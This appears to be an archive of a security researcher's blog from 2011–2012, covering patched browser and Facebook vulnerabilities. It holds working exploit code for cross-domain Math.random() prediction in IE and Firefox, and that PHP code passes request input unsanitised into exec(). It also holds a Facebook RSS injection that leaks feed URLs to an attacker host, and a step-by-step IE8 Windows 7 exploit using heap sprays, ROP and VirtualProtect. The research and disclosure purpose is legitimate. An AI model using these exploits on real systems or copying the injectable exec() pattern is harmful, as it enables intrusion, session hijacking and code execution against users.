Thursday, May 31, 2012

Cross-domain Math.random() prediction


I recently descovered an interesting security issue in a web application that could be potentially exploited if an attacker could guess the values generated by JavaScript's Math.random() function running in a window in the web app's domain. So, I was wondering could the values returned by the Math.random() in one window in one domain be predicted from another window in another domain. Surprisingly, the answer is "yes". At least if you use Firefox or Internet explorer 8 and below. The technique that does this is called Cross-domain Math.random() prediction.

The JavaScript Math.random() weaknesses in different browser are nothing new. Amit Klein wrote extensively abot them [1, 2, 3]. However, while he does mention Cross-domain Math.random() prediction in his paper [1], the focus of his writing is more on using these weaknesses to track user across multiple websites. That's why in this post I'm going to show more details about this particular technique (Cross-domain Math.random() prediction) and also show the current state of the web browsers regarding the Math.random() predictability. In this post, I'll write about the attack in general and in a subsequent post, I'll show an example vulnerable application (once it gets patched).

In general, to use the attack, the following conditions must be met:

1. A web page in some domain uses Math.random() to generate a number.
2. An attacker can somehow gain from knowing this number.
3. An attacker can choose when this number will be generated (for example, by opening a window with a vulnerable application).

Take for example a web page that generates a random number which is then used to identify a user when talking to the web application server.

Now, let's see what makes the attack possible.

The pseudo-random number generator (PRNG) implementations in Internet Explorer up to IE 9 and Firefox are relatively simple and are described in detail in [1] and [3], respectively. The main points to keep in mind are:

1. Both implementations are based on seeding the 48-bit PRNG state based on the current time (in milliseconds) and the state is updated as (state*a+b)%(2^48), where a and b are constant numbers.

2. In Firefox, PRNG seeding is actually done based on the value obtained by xoring the current time in milliseconds with another number which is obtained by xoring two pointers. However, I have observed that these pointers are usually very similar so the result of the xor operation between them is usually a very small number (<1000). This means that, for practical purposes, we may consider that PRNG state in Firefox is seeded based on the current time in milliseconds +/- 1000.

3. In Firefox, each page will have its own PRNG while in IE 8 and below each tab will have its own PRNG and the PRNG will *not* be reseeded if the page in the tab changes, even though the new page might be in another domain.

This opens two possible algorithms for cross-domain Math.random() prediction, where one will work on IE only, and the other will work on both IE and Firefox. The attacks are described below. The code that demonstrates both attacks can be found in the "Example code" section below.

First attack (IE 8 and below only)

This version of the attack exploits the fact that IE does not reseed the PRNG for every page in the same tab. It works as follows:

1. The attacker gets a user to visit his page
2. The attacker's page generates a random number and uses it to compute the current state of the PRNG
3. The state of the PRNG is sent to the attacker. It can be used to predict the result of any subsequent Math.random() call made in the same browsing tab.
4. The attacker's page redirects the victim to the vulnerable application

Second attack (IE8 and below, Firefox)

This version of the attack is based on guessing the seed value of the PRNG and works as follows:

1. The attacker gets a user to visit his page
2. The page makes a note of the current time, t, and opens a new window with the vulnerable application.
3. Based on t, a guess is made for the PRNG seed value in the new window. If the guess is correct, the attacker can predict the result of Math.random() calls in the new window.

Note that this attack relies on guessing the seed value. Since seeding is done based on the current time in milliseconds, this means that, if we can make multiple guesses, we have a pretty good chance of guessing correctly. For example, if we can predict PRNG seeding time up to a second, we have about 1/1000 chance of guessing correctly in IE and somewhat smaller chance (but usually in the same order of magnitude) for guessing correctly in Firefox. If we can make several hundreds of guesses, this is a pretty good chance, especially considerning that the PRNG state in IE and Firefox has 48 bits.

Other browsers

Internet Explorer 9 is not vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the high-precision counter and additional entropy sources [2].

Google Chrome on Windows also isn't vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the rand_s function which is cryptographically secure [4, 5].

Example code

"rand.html". This page just generates the random number and displays it. The goal of the two "exploit" pages below is to guess it.
<html>
<head>
  <script>
    document.write("I generated: " + Math.random());
  </script>
</head>
<body>
</body>
</html>


"exploit1.php". This page uses the first attack (IE only) to predict Math.random() value in another domain, but in the same tab. It uses "decodestate.exe" to decode the current state of the PRNG.
<?php 
if (isset($_REQUEST['r']))
{
  $state = exec("decodestate.exe ".$_REQUEST['r']);

?>

<html>
<head>
<script>
  //target page, possibly in another domain
  var targetURL = "http://127.0.0.1/rand.html"
  
  var a_hi = 0x5DE;
  var a_lo = 0xECE66D;
  var b = 0x0B;
  var state_lo = 0;
  var state_hi = 0;
  var max_half = 0x1000000;

  //advances the state of the (previously initialized) PRNG
  function advanceState() {
    var tmp_lo,tmp_hi,carry;
    tmp_lo = state_lo*a_lo + b;
    tmp_hi = state_lo*a_hi + state_hi*a_lo;
    if(tmp_lo>=max_half) {
      carry = Math.floor(tmp_lo/max_half);
      tmp_hi = tmp_hi + carry;
      tmp_lo = tmp_lo % max_half;
    }
    tmp_hi = tmp_hi % max_half;
    state_lo = tmp_lo;
    state_hi = tmp_hi;
  }

  //gets the next random() result according to the predicted PRNG state
  function PredictRand() {
    var first,second;
    var num, res;
    
    advanceState();
    first = (state_hi * 8) + Math.floor(state_lo/0x200000);
    advanceState();
    second = (state_hi * 8) + Math.floor(state_lo/0x200000);
    num = first * 0x8000000 + second;
    
    res = num/Math.pow(2,54);
  
    return res;
  }

  function start() {
    var state = <?php echo($state); ?>;
    state_hi = Math.floor(state/max_half);
    state_lo = state%max_half;
    
    alert("I predicted : " + PredictRand());
    
    window.location = targetURL;
  }
  
</script>
</head>
<body onload="start()">
</body> 
</html>

<?php } else { ?>

<html>
<head>
<script> 
  function start() 
  { 
    document.forms[0].r.value=Math.random();
    document.forms[0].submit();
  }
</script>  
</head>
<body onload="start()"> 
<form method="POST" onSubmit="f()"> 
<input type="hidden" name="r"> 
</form> 
</body> 
</html>

<?php } ?>


The code for "decodestate.exe". Much of it is shamelessly copied from [1].
#include <stdlib.h> 
#include <stdio.h> 

#define UINT64(x) (x##I64)
typedef unsigned __int64 uint64; 
typedef unsigned int uint32; 

#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)

uint64 adv(uint64 x)
{ 
  return (a*x+b) & ((UINT64(1)<<48)-1);
} 

int main(int argc, char* argv[])
{ 
  double sample=atof(argv[1]);
  uint64 sample_int=sample*((double)(UINT64(1)<<54));
  uint32 x1=sample_int>>27;
  uint32 x2=sample_int & ((1<<27)-1);

  for (int v=0;v<(1<<21);v++)
  {
    uint64 state=adv((((uint64)x1)<<21)|v);
    uint32 out=state>>(48-27);
    if ((sample_int & (UINT64(1)<<53)) && (out & 1))
    {
      // Turn off least significant bit (which we know is 1). 
      out--;
      // Perform Round to Nearest (even number, but keep in mind that
      // we don't count the least significant bit)
      if (out & 2)
      {
        out+=2;
      }
    }
    if (out==x2) {
      printf("%lld\n",state);
      return 0;
    }
  }
  // Not found
  printf("-1\n");
  return 0;
}


"exploit2.html". This page uses the second attack (both IE and Firefox) to predict Math.random() value in another domain in another window. Multiple predictions are made of which one is usually correct (depending on the time it takes a browser to open a new window and additional entropy in Firefox).
<html>
  <head>
    <script>
      //target page, possibly in another domain
      var targetURL = "http://127.0.0.1/rand.html"
      
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
      var max_32 = 0x100000000;
      var max_16 = 0x10000;
      var max_8 = 0x100;
  
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        }
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      }
  
      function InitRandPredictor(seedTime) {}
  
      //inits PRNG
      function InitRandPredictorFF(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      } 
  
      //inits PRNG
      function InitRandPredictorIE(seedTime) {
        var pos=[17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,16,18,20,22,24,26,28,30,0,2,4,6,8,10,12,14];
        var timeh,timel1,timel2,statel,stateh1,stateh2,tmp1,tmp2;
        timeh = Math.floor(seedTime/max_32);
        timel1 = Math.floor((seedTime%max_32)/max_16);
        timel2 = seedTime%max_16;
        statel = timeh ^ timel2;
        tmp1 = timel1 ^ 0xDEEC;
        tmp2 = timel2 ^ 0xE66D;
        stateh1 = 0;
        stateh2 = 0;
        for(var i=0;i<16;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp2>>i)&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp2>>i)&1)<<(pos[i]-16));
          }
        }
        for(var i=16;i<32;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp1>>(i-16))&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp1>>(i-16))&1)<<(pos[i]-16));
          }
        }
        state_hi = (stateh1<<8) + Math.floor(stateh2/max_8);
        state_lo = ((stateh2%max_8)<<16) + statel;
      } 

      function PredictRand() { return(-1); }

      //gets the next random() result according to the predicted PRNG state
      function PredictRandFF() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,53);
    
        return res;
      }      
  
      //gets the next random() result according to the predicted PRNG state
      function PredictRandIE() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 8) + Math.floor(state_lo/0x200000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,54);
      
        return res;
      }      
      
      function start() {
        var msfrom,msto;
        
        //simple browser detection
        if(navigator.userAgent.indexOf("MSIE 8.0")>=0) {
          InitRandPredictor = InitRandPredictorIE;
          PredictRand = PredictRandIE;
          msfrom = 0;
          msto = 1000;
        } else if(navigator.userAgent.indexOf("Firefox")>=0) {
          InitRandPredictor = InitRandPredictorFF;
          PredictRand = PredictRandFF;
          //greater range for FF to deal with extra entropy
          msfrom = -1000;
          msto = 2000;
        } else {
          alert("Sorry, your browser is not supported");
          return;
        }
        
        var d = new Date();
        var t = d.getTime();
        
        var w = window.open(targetURL);
        
        var predictions = "At time " + t.toString() + " I predicted: <br />";
        for(var i=msfrom;i<msto;i++) {
          InitRandPredictor(t+i);
          //InitRandPredictor(1338400821077);
          predictions += PredictRand() + "<br />";
        }
        
        document.getElementById("prediction").innerHTML = predictions;    
      }
      
    </script>
  </head>
    <button onclick="start()">Click Me!</button>
    <br/>
    <div id="prediction">
  </body>
</html>


References

[1] http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf
[2] http://www.trusteer.com/sites/default/files/VM_Detection_and_Temporary_User_Tracking_in_IE9_Platform_Preview.pdf
[3] http://www.trusteer.com/sites/default/files/Cross_domain_Math_Random_leakage_in_FF_3.6.4-3.6.8.pdf
[4] http://msdn.microsoft.com/en-us/library/sxtz2fa8(v=vs.80).aspx
[5] http://en.wikipedia.org/wiki/CryptGenRandom

Monday, March 12, 2012

Two Facebook vulnerabilities

A while ago I realized that it's been a long time since I wrote about the web application security here, so when Facebook announced their security bug bounty program it seemed like a perfect opportunity to show off some web application security research. In this post I'll show the two bugs I found on Facebook (so far). Both bugs have been fixed on February 31st, 2012. Although these two bugs are not nearly as critical as the ones I usually write about on this blog (which just gives me further motivation to get back to Facebook bug hunting when I catch some time off my other projects, hopefully you'll read about some of those here as well), I think that they still might be interesting to other security researcher working on Facebook and web application security in general. So, without further ado:

Bug #1: Breaking the group docs parser

While examining the group docs parser I noticed an interesting way in which it handles images uploaded to group docs. Every image uploaded to a group doc gets represented in the form

(img:id)

where id is the id number of the uploaded image, for example

(img:107037326063026)

When the doc is displayed to the user, the above notation will get changed to the appropriate img html tag, for example

<img src="http://photos-g.ak.fbcdn.net/hphotos-ak-snc6/251997_107037326063026_608256_a.jpg" ... />

So, if we edit a Facebook group doc and add the text '(img:id)', where id should be an actual image id, it will be changed to appropriate '<img src=.../>' tag when the doc is displayed.

In itself this is not a problem, but the bug reveals itself if we intercept a HTTP request when editing a group doc and put something like this in the doc body

<a href='http://www.somewebsite.com/#(img:107037326063026)'></a>

When such group doc gets displayed, the above will be changed to

<a href="http://www.somewebsite.com/#<img src="http://photos-g.ak.fbcdn.net/hphotos-ak-snc6/251997_107037326063026_608256_a.jpg" fbid="107037326063026" hmac="ATqmQ6bijjIvXRta" />&quot; onmousedown=&quot;UntrustedLink.bootstrap($(this), &quot;4AQFWDRA8&quot;, event, bagof(null));&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;</a>

So again the (img:...) is replaced by <img src=.../> even though it is now contained in the 'href' property of a html anchor element

An example of this is shown in the image below


Note that the double quote opened at 'href="' is now closed by the quote in 'img src="' and that the 'a' tag is now closed by the '>' character actually belonging to the 'img' tag, thus breaking the page DOM.

So, why could this be considered a security issue? Firstly, note that normally, when you click any user-submitted link on Facebook, you don't get redirected to the link target immediately. Instead, the link is first sanitized through www.facebook.com/l.php script. This is accomplished by adding an onmousedown property to every anchor element. However, note that the above trick closes the anchor tag before the onmousedown property gets declared, thus the link sanitation is bypassed if anyone clicks this link.

Secondly, let's assume that Facebook development team makes one tiny, seemingly innocent, change in the future and allow the user to control any html property of the image added to the group doc. If something like this ever happened, this bug would become a stored XSS which, for a site like Facebook with its billion users might be considered a serious problem. Let's see how.

In this case, if the user could control some image property and add the image that would be rendered as

<img some_controllable_property=" onmouseover=alert(1) " src=...

and if the user adds the appropriate (img:id) in the href attribute of an anchor element, the html could end up displayed as

<a href="http://www.somewebsite.com/#<img some_controllable_property=" onmouseover=alert(1) " src="..."/>...

Which would execute JavaScript code controlled by the attacker (in this example, message box would be shown) if a user moves a mouse pointer over the link in the doc.

Note that, even though there is no possibility for using this as stored XSS in the current version of Facebook, I still think it's better to report this right away (It's obviously a bug) than to sit on it and wait for it to become more critical in the future.


Bug #2: Notification RSS feed HTML injection

Some background: every Facebook user has a notification RSS feed accessible through the http://www.facebook.com/notifications page. The RSS feed URL has the form

http://www.facebook.com/feeds/notifications.php?id=[id]&viewer=[viewer]&key=[key]format=rss20

To view the Facebook notifications of any user you just need to have his/her notification feed URL.

The bug is caused by the 'description' field in the RSS feed not being properly sanitized which enables arbitrary html code to be injected in the RSS feed. Although no JavaScript can be executed in the context of Facebook this way (at least it shouldn't in any decent RSS viewer) the bug could be used to disclose a notification feed URL to the attacker. The attacker can do this by injecting an img tag in the user's RSS feed. If the user views his RSS feed in the Internet Explorer (tested on IE8), when the injected image is requested, the URL of the RSS feed is sent in the http referrer header field, and can thus be sent straight to the attacker.

Let's consider the following attack scenario with two Facebook users, an attacker and a victim

1. Attacker creates a Facebook group and sets its title to "<img src="http://www.someevilwebsite.com/test.php">"

2. Attacker adds/invites a victim to the group

3. The group name (unsanitized!) automatically ends up in the notification feed of the victim

4. Victim uses Internet Explorer and clicks on her 'RSS' link in the http://www.facebook.com/notifications

5. The html code in the group title is rendered and the victim's browser makes a request to http://www.someevilwebsite.com/test.php

with the victim's RSS feed URL in the http header field.

6. Attacker listens to all http traffic to www.someevilwebsite.com and thus receives the victim's RSS feed URL from the http header.

7. When the attacker visits this URL he gets all of the victim's Facebook notifications.

A less technical, but perhaps more practical way to exploit this vulnerability would be to use it in social engineering/phishing attacks. For example, the attacker might inject html code in the victim's RSS feed that would make it appear like the user received some other (injected) notification which makes it appear that it's important for the victim to click on a link in that notification. When the victim clicks it he/she might end up on the attacker-controlled fake Facebook login page.

Note that group name was just one example of injecting code into victim's RSS feed, there were probably other attack scenarios for the same vulnerability.

Tuesday, February 28, 2012

Reliable Windows 7 Exploitation: A Case Study

Those of you that follow my blog know that I am not accustomed to publishing the exploit code for critical vulnerabilities. I'm only publishing this article because a long time has passed since the vulnerability used here was patched and because I believe that the techniques used in this case study (windows 7 exploitation without relying on non-ASLR module and without using a secondary vulnerability for memory disclosure) are sufficiently different to be of interest to the security community. It is my hope and intention that the code given below will be used for educational purposes only.

Introduction

Reliable exploitation of browser vulnerabilities has been made increasingly difficult by introducing protection mechanisms such as DEP and ASLR. While it can be shown that ASLR can easily be defeated without DEP (for example by heap spraying) and DEP can easily be defeated without ASLR (for example by return-oriented programming), the combination of the two makes reliable exploitation much harder. This is probably the reason why there hasn't been much work published about the exploiting vulnerabilities on Windows 7.

Two most common techniques for exploiting vulnerabilities on Windows 7 are:
1. Using a secondary vulnerability to perform memory disclosure and reveal the address of an executable module in memory prior to using the "main" vulnerability to execute the payload. For example, Peter Vreugdenhil used this techniques in his Internet Explorer 8 on Windows 7 exploit in the Pwn2Own 2010 contest [1].
2. Making the application load a non-ASLR-enabled module in the memory, for example msvcr71.dll [2].

In this case study, I'll describe the development of Internet Explorer 8 exploit on Windows 7 without relying on the techniques above. The main idea of my exploit is using the same vulnerability to achieve both memory disclosure and code execution.
While, at first, it may seem that the techniques described below can only be used with a select few vulnerabilities, in my experience, many browser vulnerabilities can be used to achieve both memory disclosure and code execution using the techniques described bwlow. Just to name a few vulnerabilities I discovered, besides CVE-2011-1999 which will be used as an example in this case study, CVE-2010-1883 and CVE-2008-3475 (and probably others) could also be used to accomplish both memory disclosure and code execution. In fact, the most critical condition a vulnerability must satisfy in order to be applicable is that the attacker must be able to trigger it multiple times without crashing the vulnerable application. Most of the vulnerabilities that satisfy this condition can be used both for memory disclosure and for code execution, at least in the web browser context.


The vulnerability

The vulnerability that I'm going to use in this case study affected Internet Explorer 8. It has been disclosed as CVE-2011-1999 (MS11-081) and patched in October 2011.

The bug that causes the vulnerability is in incorrectly validating an integer parameter passed to the options.add method of a Select element object. This method is used to add an Option element to the Select element and it accepts two parameters:
1. An Option object to be added
2. An integer, specifying the index of the new Option object

Among other things, the options.add method maintains an array of pointers to the Option objects inside a corresponding Select object. This array is called the option cache.
Under certain conditions, the options.add method incorrectly validates the second parameter. If it is a negative number, instead of causing an exception or changing it to zero, the method will attempt to add a pointer to the Option object (passed at the first parameter) in the option cache at a negative index (negative offset from the beginning of the option cache).
This can be demonstrated using the following sequence of JavaScript instructions:

var s = document.createElement("select");
var o = document.createElement("option");
s.options.add(o,-0x20000000);


This causes the browser to crash as shown in the following image


Basically, Internet Explorer attempts to add a pointer to the Option ('o' in the code above) at address

[address of option cache]+(-0x20000000)*4


In assembly, that corresponds to the instruction

MOV DWORD PTR DS:[EAX+EDI*4],ECX


where EAX is a pointer to the option cache, ECX is the pointer to the Option object, and EDI is the index (-0x20000000 aka 0xE0000000).
The call stack at the moment of crash looks like

CImplPtrAry::Insert(int, void *)
CSelectElement::AddOptionHelper(class COptionElement *, long, bool)
CSelectElement::ie8_add(IHTMLOptionElement *,tagVARIANT *)


From all of the above, it follows that, by manipulating the second parameter of the options.add method, we can overwrite an arbitrary (dword-aligned) memory location with an address of an Option object.

But what address should we overwrite in light of ASLR and other browser protection mechanisms? This will be discussed in the following sections.

Memory disclosure

In order to defeat ASLR we basically need the ability to read the memory of the current process in order to determine the address of some executable module. However, memory disclosure won't be used only to defeat ASLR, but also to increase the reliability of the exploit as we won't have to make many guesses regarding the memory layout. The technique I used to leverage this vulnerability into memory disclosure has been described in a separate blog post. You can read about it in detail here. In fact, this blog post should be considered the first part of this case study. The main idea of using this vulnerability for memory disclosure is to use it to overwrite a DWORD that contains the length of some JavaScript string. After this, we can use the substr method of this string to make memory read queries.

One important thing to note is that this memory disclosure technique will allow us to read a large portion of the memory after some heap spray, so we need to make sure to "plug" any memory holes before this heap spray, so that anything important to our exploit will be allocated after the heap spray.

Exploiting the vulnerability

In order to achieve reliable exploitation on Windows 7 I used the technique that will be described below. This technique relies on two heap sprays:

1. The first heap spray has two purposes. Its first purpose is to enable the memory disclosure as described in the previous Section. Its second purpose is to hold a NOP slide followed by a shelcode. Note that, in order to defeat DEP, before calling the shellcode, we'll need to make a memory block holding it executable.

2. The second heap spray will act as a fake stack after we get the control of EIP. Basically, we are going to make stack pointer point somewhere in this heap spray. We need to obtain the control of the stack in order to use return-oriented programming and defeat DEP.

Note that, if we were making the exploit for Windows XP (or some other system without ASLR), a single heap spray would be sufficient. However, in our case we won't know the values of the return addresses we need to put on the stack until after we make the first heap spray.

The exploit steps are roughly given below.

1. Do the first heap spray
2. Allocate some Option and Select objects. It is important that these objects are allocated after the first heap spray in order for them to become readable
3. Enable memory disclosure by overwriting length of a string in the first spray (see the previous Section for details)
4. Use memory disclosure to read a vtable pointer of some option object. The base address of mshtml.dll can be computed by subtracting a constant offset from the vtable pointer.
5. Do the second heap spray (details will be given later)
6. Create an Option object. Let's call it A
7. Find an address of some other Option object (let's call it B) in memory and overwrite its CTreeNode pointer with the address of A. The address of B can be determined via memory disclosure (option cache is a good place to look).
8. Delete A
9. Allocate a string of the same size as A. Hopefully, it will be allocated at the same address where A used to be.
10. Read the memory where A used to be to determine if we successfully wrote our string there. If not, go back to step 6. Note that at this time, CTreeNode pointer of object B points to a string whose content we control.
11. Do something with B that would access its CTreeNode pointer and eventually attempt to call a virtual method of some object in the CTreeNode hierarchy. (In the exploit, I used B.parentNode.Click() to accomplish this).

Now lets see what happens if we fill a string in step 7 with a pattern

 0x41 0x41 0x41 0x41 ...


This is shown in the following image.


We see that we control EAX and we came to the following sequence of instructions

3D093A73   8078 08 52       CMP BYTE PTR DS:[EAX+8],52
...
3D093A84 8B00 MOV EAX,DWORD PTR DS:[EAX]
...
3D093A88 8BF0 MOV ESI,EAX
...
3D093A8E 8B06 MOV EAX,DWORD PTR DS:[ESI]
...
3D093A91 FF90 DC000000 CALL DWORD PTR DS:[EAX+DC]


As we control EAX, we will make it point somewhere in the second heap spray, where we can predict the content. We'll make the second heap spray organized in patterns of size 0x1000, so because we know that each memory block begins at address divisible by 0x1000, some address in the form k*0x1000+0x24 is likely to hold the beginning of the pattern (extra 0x24 is for memory block header and string length). So, for example, if EIP is 1C1C0024 it is likely that it will point to the beginning of a pattern in the second heap spray.

first, we need to resolve the following line

CMP BYTE PTR DS:[EAX+8],52


Here, we just need to make sure that EAX+8 is readable and the content there is not 52. Pretty simple, just make sure that pattern+8 is not 52.

Next, we come to

MOV EAX,DWORD PTR DS:[EAX]


Here, we'll just make sure [EAX] points back into the pattern
Specifically, we'll make [EAX] point to pattern_address+0x10, so EAX is again controlled after this instruction

Now, EAX points to pattern_address+0x10

Next, we come to

MOV ESI,EAX
MOV EAX,DWORD PTR DS:[ESI]


Again, we'll just make it so that, after this is executed, EAX again points somewhere in the pattern.
Specifically, we'll make pattern_address+0x10 point to pattern_address+0x14

Now, EAX points to pattern_address+0x14, and we arrived at the

CALL DWORD PTR DS:[EAX+DC]



Which obviously gives us the control over EIP.

Now, if DEP wasn't enabled, we could just make the jump for our nop slide followed by a shellcode (in the first heap spray). However, as DEP is enabled in Internet Explorer 8 we need to first gain control over the stack and use return-oriented programming to make shellcode executable.

In order to gain control of the stack we'll make [EAX+DC] point to the following sequence of instructions:


XCHG EAX,ESP
RETN



Such sequence is easily located in most modules because both instructions are only a single byte in size (and that means that there will be plenty such values, even if the author of the module didn't intend it). In light of the ASLR, the address of this sequence (and any other sequence of instructions) has to be determined dynamically as [base of mshtml.dll]+[offset]. Remember that we computed the base address of mshtml.dll in step 4 of the exploit.

Now we control the stack and also the next function we'll return into.
What we need to do now is make shellcode executable. In order to do so we'll call VirtualProtect. But we don't know the address of VirtualProtect as VirtualProtect is not a part of mshtml.dll. However, mshtml.dll does contain an address of VirtualProtect in its import section.
So, instead of a direct return into VirtualProtect, we'll first return into


POP EAX
RETN



Here, we'll put the address which contains the address of VirtualProtect into EAX (remember that we control the stack).
This code will then return into


CALL DWORD PTR DS:[EAX]
RETN



so VirtualProtect gets called here. The stack has to be constructed so that, at this point, arguments of VirtualProtect are correctly aligned.
Those are
1) Beginning address of the memory block (we'll choose some block in the first heap spray that we'll return into later)
2) Block size (0x100000)
3) New set of permissions (0x40 for PAGE_EXECUTE_READWRITE)
4) Address where old set of permissions will be stored (some address in the first heap spray we don't need)

Stack also has to be constructed so that after the call to VirtualProtect, we return into a nop slide that we just made executable.

So, finally the pattern used in the second heap spray for will look like


[pattern_address+0x10][0xAA]*12[pattern_address+0x14][address of POP EAX;RETN][address of address of VirtualProtect][address of CALL [EAX];RETN][address of block in the 1st heap spray][block size][0x40][some address in the 1st heap spray][address of a nop slide on the 1st heap spray][0xAA]*196[address of XCHG EAX,ESP; RETN]



Using this pattern we can make shellcode executable and return into it as well.

One additional thing to note when developing Windows 7 exploits is that many shellcode won't work on Windows 7 and cause a crash instead. For my exploit I used SkyLined's Windows 7 compatible 'calc' shellcode, that can be found at http://code.google.com/p/w32-exec-calc-shellcode/

PoC code


References

[1] Peter Vreugdenhil, Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit, http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf

Wednesday, October 12, 2011

Internet Explorer Select Element Remote Code Execution

Overview

There is a vulnerability in Internet Explorer which enables execution of arbitrary code if the user visits a web page controlled by the attacker. The vulnerability is caused by incorrectly validating integer parameter passed to the 'add' method of the Select HTML element. This vulnerability has been observed in Internet Explorer 8. The vulnerability has been patched by Microsoft on October 11, 2011.

The bug

The bug is caused by incorrectly validating integer parameter passed to the 'add' method of the Select HTML element under certain conditions. The 'add' method of the Select HTML element is used to add an Option to the Select element. It accepts two parameters:
1. An Option object to be added
2. An integer, specifying the index of the new Option element
Under certain conditions, the second parameter is not properly validated, which can lead to corrupting memory at arbitrary address and, in turn, code execution.

Impact

The vulnerability can be used to execute arbitrary code in the context of the currently logged in user if the user visits a specially crafted web page. JavaScript needs to be enabled in order for the attacker to be able to exploit the vulnerability (it is enabled by default in all versions of Internet Explorer).

PoC

A PoC exploit that demonstrates reliable code execution on Internet Explorer 8 on Windows 7 SP1 has been developed. The release of the exploit code is planned on a later date, once everyone has had plenty of time to patch.
However, the description of the method that was used to bypass ASLR and otherwise enable reliable code execution can be found here.

References


Internet Explorer Option Element Remote Code Execution

Overview

There is a vulnerability in Internet Explorer which enables execution of arbitrary code if the user visits a web page controlled by the attacker. The vulnerability is caused by an use-after-free bug triggered by accessing a previously deleted Option element. This vulnerability has been observed in Internet Explorer versions 6, 7 and 8. The vulnerability has been patched by Microsoft on October 11, 2011.

The bug

In Internet Explorer, the implementation of Select HTML element contains an array of pointers to the Option elements the Select element contains. This array is called the Option cache. Normally, whenever an Option element inside a Select element is accessed via JavaScript, Option cache is rebuilt, thus ensuring its consistency. However, there are some JavaScript methods that can be used to delete and modify the Option elements contained inside the Select element without rebuilding the Option cache. In combination, these methods enable modifying a previously deleted Option element.

Impact

The vulnerability can be used to execute arbitrary code in the context of the currently logged in user if the user visits a specially crafted web page. JavaScript needs to be enabled in order for the attacker to be able to exploit the vulnerability (it's enabled by default in all versions of Internet Explorer).

PoC

An PoC exploit that demonstrates code execution has been developed. However, due to the severity of the vulnerability, release of the exploit code is not planned at this time.

References


Thursday, June 9, 2011

Memory disclosure technique for Internet Explorer

Memory disclosure became an important part of exploit development in the light of various protection mechanisms. The ability to read memory holds multiple benefits for exploit developers. The most obvious one is, of course, the ability to circumvent ASLR - if we can read the content of the memory, we can determine the address of an module, for example by reading a vtable pointer of some object and subtracting a (constant) offset. However, memory disclosure brings additional benefits as well. For example, many exploits rely on a speciffic (predictable) memory layout. If we can read memory, we do not have to make any guesses regarding the memory layout. Thus, memory disclosure can also be used to improve the reliability of exploits and enable the exploit development in conditions where the memory layout is unpredictable.
One technique for memory desclosure was used by Peter Vreugdenhil in the Pwn2Own 2010 contest (http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf). This technique consists of overwtiting a terminator of a string, which enables reading the memory immediately after the end of the string. This was enough to defeat ASLR, however, in general, it has a disadvantage that it can only read the memory up to the next null-character (that will be interpreted as the new string terminator). Additionally, there is no way to read past the end of currnet memory block (except if the next memory block begins immediately after the current block, with no unreadable memory in between).
The technique I propose here enables reading a much wider area of memory and also reading memory in other memory blocks, with unreadeable memory in between them. The technique itself is very simple, however, since I never saw anyone using or describing it, I decided to describe it here. I successfully used this technique in various exploits for Internet Explorer, most recently in an exploit for a vulnerability in Internet Explorer 8 on Windows 7.
The main idea of this technique is to overwrite the DWORD holding the length of a JavaScript string.


Background: JavaScript strings

JavaScript strings in Internet Explorer are stored in memory in the following form:


[string length in bytes][sequence of 16-bit characters]


So, for example, the string 'aaaa' will be stored as (hex):


08 00 00 00 61 00 61 00 61 00 61 00


If we overwrite the DWORD holding the string length, we can peek at the memory past the end of the string.
Assume we successfullty overwrote the length of string 'str'. By calling for example


mem = str.substr(offset/2,size/2);


we can obtain (in a string 'mem' of size 'size') the content of memory at address [address of str] + offset.
We can read any memory address provided that the offset+size is less than the new string length. Thus, the address we can read up to is only limited by the value we can overwrte string length with.


How to overwrite sting length?

The method we can use to overwrite string length will depend heavily on the vulnerablity we are exploiting. Here, I'll go through some of the most common vulnerability classes and show how they can be used to overwrite the length of a string.

1. Heap overflow: This is probably the simplest one. Allocate a string after the buffer you can overwrite. By overwriting the memory past the buffer, you'll also overwrite string length.

2. Double free: This consists of several steps: a) Free some object in memory, b) allocate a string in its place (make sure it has the same initial size as the deleted object), c) free the object again. Here we are exploiting the way how malloc and free work in windows: after a block is freed, its first DWORD will hold an address of the next free memory block of the same size or, if no such block exists, it will point back to the heap header. In both cases, the string lenght is overwritten with a large value.

3. Use-after-free: See if this vulnerability can be used to make double free. If it can, see point no. 2. If not, see if any property of the deleted object can be changed. If yes, try to allocate strings in memory so that the length of some string gets aligned with this property of the deleted object. Then change said property. Another way is to try to leverage the vulnerability into arbitrary memory address overwrite and see case no. 6.

